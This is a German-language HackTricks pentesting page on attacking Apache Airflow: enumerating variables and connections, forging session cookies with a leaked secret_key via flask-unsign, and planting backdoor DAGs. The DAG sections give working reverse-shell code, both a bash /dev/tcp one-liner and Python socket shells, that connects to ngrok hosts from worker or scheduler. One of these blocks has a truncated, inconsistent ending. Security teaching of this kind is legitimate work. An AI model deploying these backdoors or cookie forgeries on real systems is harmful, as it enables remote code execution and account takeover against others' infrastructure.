Apache Airflow Security

Unterstütze HackTricks

Grundinformationen

Apache Airflow dient als Plattform für die Orchestrierung und Planung von Datenpipelines oder Workflows. Der Begriff "Orchestrierung" im Kontext von Datenpipelines bezeichnet den Prozess der Anordnung, Koordination und Verwaltung komplexer Daten-Workflows, die aus verschiedenen Quellen stammen. Der Hauptzweck dieser orchestrierten Datenpipelines besteht darin, verarbeitete und konsumierbare Datensätze bereitzustellen. Diese Datensätze werden umfassend von einer Vielzahl von Anwendungen genutzt, einschließlich, aber nicht beschränkt auf Business-Intelligence-Tools, Datenwissenschafts- und Machine-Learning-Modelle, die alle grundlegend für das Funktionieren von Big-Data-Anwendungen sind.

Im Grunde wird Apache Airflow es dir ermöglichen, die Ausführung von Code zu planen, wenn etwas (Ereignis, Cron) passiert.

Lokales Labor

Docker-Compose

Du kannst die Docker-Compose-Konfigurationsdatei von https://raw.githubusercontent.com/apache/airflow/main/docs/apache-airflow/start/docker-compose.yaml verwenden, um eine vollständige Apache Airflow Docker-Umgebung zu starten. (Wenn du auf MacOS bist, stelle sicher, dass du der Docker-VM mindestens 6 GB RAM zuweist).

Minikube

Eine einfache Möglichkeit, Apache Airflow auszuführen, besteht darin, es mit Minikube zu betreiben:

helm repo add airflow-stable https://airflow-helm.github.io/charts
helm repo update
helm install airflow-release airflow-stable/airflow
# Some information about how to aceess the web console will appear after this command

# Use this command to delete it
helm delete airflow-release

Airflow-Konfiguration

Airflow könnte sensible Informationen in seiner Konfiguration speichern oder Sie könnten schwache Konfigurationen finden:

Airflow Configuration

Airflow RBAC

Bevor Sie mit dem Angriff auf Airflow beginnen, sollten Sie verstehen, wie Berechtigungen funktionieren:

Airflow RBAC

Angriffe

Webkonsole Enumeration

Wenn Sie Zugriff auf die Webkonsole haben, könnten Sie in der Lage sein, einige oder alle der folgenden Informationen zuzugreifen:

  • Variablen (Benutzerdefinierte sensible Informationen könnten hier gespeichert sein)

  • Verbindungen (Benutzerdefinierte sensible Informationen könnten hier gespeichert sein)

  • Zugriff auf http://<airflow>/connection/list/

  • Konfiguration (Sensible Informationen wie der secret_key und Passwörter könnten hier gespeichert sein)

  • Liste der Benutzer & Rollen

  • Code jedes DAG (der interessante Informationen enthalten könnte)

Abrufen von Variablenwerten

Variablen können in Airflow gespeichert werden, damit die DAGs auf ihre Werte zugreifen können. Es ist ähnlich wie bei Geheimnissen anderer Plattformen. Wenn Sie genug Berechtigungen haben, können Sie sie in der GUI unter http://<airflow>/variable/list/ abrufen. Airflow zeigt standardmäßig den Wert der Variablen in der GUI an, jedoch ist es laut diesem möglich, eine Liste von Variablen festzulegen, deren Wert in der GUI als Sternchen angezeigt wird.

Diese Werte können jedoch weiterhin über CLI (Sie müssen DB-Zugriff haben), willkürliche DAG-Ausführung, API-Zugriff auf den Variablen-Endpunkt (die API muss aktiviert sein) und sogar die GUI selbst! Um auf diese Werte über die GUI zuzugreifen, wählen Sie einfach die Variablen aus, auf die Sie zugreifen möchten, und klicken Sie auf Aktionen -> Exportieren. Eine andere Möglichkeit besteht darin, einen Bruteforce auf den versteckten Wert durchzuführen, indem Sie die Suchfilterung verwenden, bis Sie ihn erhalten:

Privilegieneskalation

Wenn die Konfiguration expose_config auf True gesetzt ist, können Benutzer ab der Rolle Benutzer und darüber hinaus die Konfiguration im Web lesen. In dieser Konfiguration erscheint der secret_key, was bedeutet, dass jeder Benutzer mit diesem gültigen Schlüssel seinen eigenen signierten Cookie erstellen kann, um sich als ein anderer Benutzeraccount auszugeben.

flask-unsign --sign --secret '<secret_key>' --cookie "{'_fresh': True, '_id': '12345581593cf26619776d0a1e430c412171f4d12a58d30bef3b2dd379fc8b3715f2bd526eb00497fcad5e270370d269289b65720f5b30a39e5598dad6412345', '_permanent': True, 'csrf_token': '09dd9e7212e6874b104aad957bbf8072616b8fbc', 'dag_status_filter': 'all', 'locale': 'en', 'user_id': '1'}"

DAG-Hintertür (RCE im Airflow-Worker)

Wenn Sie Schreibzugriff auf den Ort haben, an dem die DAGs gespeichert sind, können Sie einfach eine erstellen, die Ihnen eine Reverse-Shell sendet. Beachten Sie, dass diese Reverse-Shell innerhalb eines Airflow-Worker-Containers ausgeführt wird:

import pendulum
from airflow import DAG
from airflow.operators.bash import BashOperator

with DAG(
dag_id='rev_shell_bash',
schedule_interval='0 0 * * *',
start_date=pendulum.datetime(2021, 1, 1, tz="UTC"),
) as dag:
run = BashOperator(
task_id='run',
bash_command='bash -i >& /dev/tcp/8.tcp.ngrok.io/11433  0>&1',
)
import pendulum, socket, os, pty
from airflow import DAG
from airflow.operators.python import PythonOperator

def rs(rhost, port):
s = socket.socket()
s.connect((rhost, port))
[os.dup2(s.fileno(),fd) for fd in (0,1,2)]
pty.spawn("/bin/sh")

with DAG(
dag_id='rev_shell_python',
schedule_interval='0 0 * * *',
start_date=pendulum.datetime(2021, 1, 1, tz="UTC"),
) as dag:
run = PythonOperator(
task_id='rs_python',
python_callable=rs,
op_kwargs={"rhost":"8.tcp.ngrok.io", "port": 11433}
)

DAG Backdoor (RCE im Airflow-Scheduler)

Wenn Sie etwas auf der Wurzel des Codes ausführen lassen, wird es zum Zeitpunkt des Schreibens vom Scheduler ausgeführt, nachdem es ein paar Sekunden lang im DAG-Ordner platziert wurde.

import pendulum, socket, os, pty
from airflow import DAG
from airflow.operators.python import PythonOperator

def rs(rhost, port):
s = socket.socket()
s.connect((rhost, port))
[os.dup2(s.fileno(),fd) for fd in (0,1,2)]
pty.spawn("/bin/sh")

rs("2.tcp.ngrok.io", 14403)

with DAG(
dag_id='rev_shell_python2',
schedule_interval='0 0 * * *',
start_date=pendulum.datetime(2021, 1, 1, tz="UTC"),
) as dag:
run = PythonOperator(
task_id='rs_python2',
python_callable=rs,
op_kwargs={"rhost":"2.tcp.ngrok.io", "port": 144}

DAG-Erstellung

Wenn es Ihnen gelingt, eine Maschine im DAG-Cluster zu kompromittieren, können Sie neue DAG-Skripte im dags/-Ordner erstellen, und sie werden in den restlichen Maschinen im DAG-Cluster repliziert.

DAG-Code-Injection

Wenn Sie einen DAG über die GUI ausführen, können Sie Argumente an ihn übergeben. Daher könnte der DAG, wenn er nicht ordnungsgemäß codiert ist, anfällig für Command Injection sein. Das ist, was in diesem CVE passiert ist: https://www.exploit-db.com/exploits/49927

Alles, was Sie wissen müssen, um nach Command Injections in DAGs zu suchen, ist, dass Parameter mit dem Code dag_run.conf.get("param_name") zugegriffen werden.

Darüber hinaus könnte die gleiche Verwundbarkeit auch bei Variablen auftreten (beachten Sie, dass Sie mit ausreichenden Rechten den Wert der Variablen in der GUI steuern könnten). Variablen werden mit zugegriffen:

from airflow.models import Variable
[...]
foo = Variable.get("foo")

Wenn sie beispielsweise innerhalb eines Bash-Befehls verwendet werden, könnten Sie eine Befehlsinjektion durchführen.

Unterstützen Sie HackTricks

Last updated